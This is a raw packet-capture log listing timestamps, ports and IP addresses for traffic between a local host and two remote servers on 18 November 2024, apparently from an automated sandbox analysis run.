Nov 18, 2024 23:04:12.681171894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.681175947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.681209087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.681226015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.681255102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.681643009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.681677103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.681698084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.681714058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.681723118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.681750059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.681771040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.681786060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.681811094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.681847095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.682315111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.682348967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.682369947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.682384968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.682415009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.682425976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.682460070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.682461977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.682481050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.682497025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.682514906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.682554960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.683309078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.683361053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.683387995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.683393002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.683408976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.683429003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.683439016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.683464050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.683482885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.683511972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.711077929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.711148024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.711179972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.711183071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.711265087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.711266041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.711288929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.711344957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.738883972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.739072084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.739106894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.739207983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.739290953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.739300013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.739365101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.739406109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.739414930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.739428043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.739483118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.739504099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.739630938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.739664078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.739717007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.739717007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.739717960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.739968061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.740000963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.740025043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.740036964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.740050077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.740073919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.740097046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.740109921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.740148067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.740169048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.740633965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.740667105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.740698099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.740731955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.740978003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.741012096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.741034985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.741045952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.741060019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.741080999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.741102934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.741116047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.741123915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.741153955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.741172075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.741203070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.741936922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.741971016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.741996050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.742001057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.742021084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.742036104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.742069960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.742090940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.742103100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.742124081 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.742140055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.742150068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.742150068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.742161036 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.742173910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.742222071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.742243052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.758060932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.758095980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.758204937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.758264065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.758264065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.758264065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.770416975 CET	443	49817	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.770463943 CET	443	49817	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.770701885 CET	49817	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.770701885 CET	49817	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.770701885 CET	49817	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.772859097 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.772945881 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.773036957 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.773150921 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.773176908 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.798367023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.798422098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.798450947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.798527956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.798593998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.798604012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.798636913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.798691034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.798763037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.798826933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.798856020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.798870087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.798892021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.798928022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.798954010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.799127102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.799159050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.799181938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.799221992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.799346924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.799375057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.799412966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.799412966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.799525976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.799554110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.799582005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.799603939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.800185919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.800240993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.800308943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.800342083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.800403118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.800647974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.800681114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.800705910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.800717115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.800736904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.800754070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.800801039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.800801039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.801179886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.801208973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.801250935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.801284075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.801347017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.801378965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.801399946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.801414013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.801424026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.801450968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.801465034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.801507950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.801964045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.801991940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.802018881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.802026033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.802042007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.802063942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.802081108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.802095890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.802129030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.802151918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.802162886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.802181959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.802196980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.802223921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.802243948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.802798033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.802830935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.802855968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.802865982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.802876949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.802901030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.802916050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.802953959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.803339005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.803371906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.803395033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.803406000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.803416014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.803442955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.803462982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.803484917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.831403971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.831506968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.831542969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.831578016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.831598997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.831628084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.831799030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.831834078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.831861019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.831899881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.836312056 CET	443	49818	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.836671114 CET	49818	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.836705923 CET	443	49818	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.837059975 CET	49818	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.837071896 CET	443	49818	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.859047890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.859113932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.859121084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.859150887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.859175920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.859195948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.859399080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.859432936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.859453917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.859473944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.859483957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.859513044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.859518051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.859555960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.859987020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860018015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860038996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860052109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860086918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860088110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860109091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860133886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860335112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860368967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860388041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860402107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860410929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860447884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860637903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860688925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860732079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860764980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860781908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860800982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860811949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860836029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860867977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860872030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.860888958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860913038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.860913038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.861618996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.861653090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.861673117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.861686945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.861738920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.861773014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.861808062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.861852884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.861898899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.861898899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.861898899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.862548113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.862582922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.862607956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.862612009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.862646103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.862647057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.862647057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.862679958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.862728119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.878238916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.878314018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.878320932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.878356934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.878375053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.878400087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.918458939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.918530941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.918577909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.918598890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.918674946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.918697119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.918731928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.918792963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.918900967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.918936968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.918956041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.918987989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.919183016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.919214964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.919235945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.919265985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.919464111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.919497013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.919531107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.919543028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.919543028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.919578075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.920085907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.920161963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.920196056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.920300007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.920300007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.920361996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.920391083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.920449018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.920552015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.920588017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.920619965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.920653105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.920924902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.920958996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.920986891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.920991898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.921010017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.921027899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.921050072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.921061993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.921081066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.921127081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.921427011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.921462059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.921494961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.921521902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.921530962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.921547890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.921566963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.921586990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.921596050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.921610117 CET	49794	80	192.168.2.4	31.41.244.11
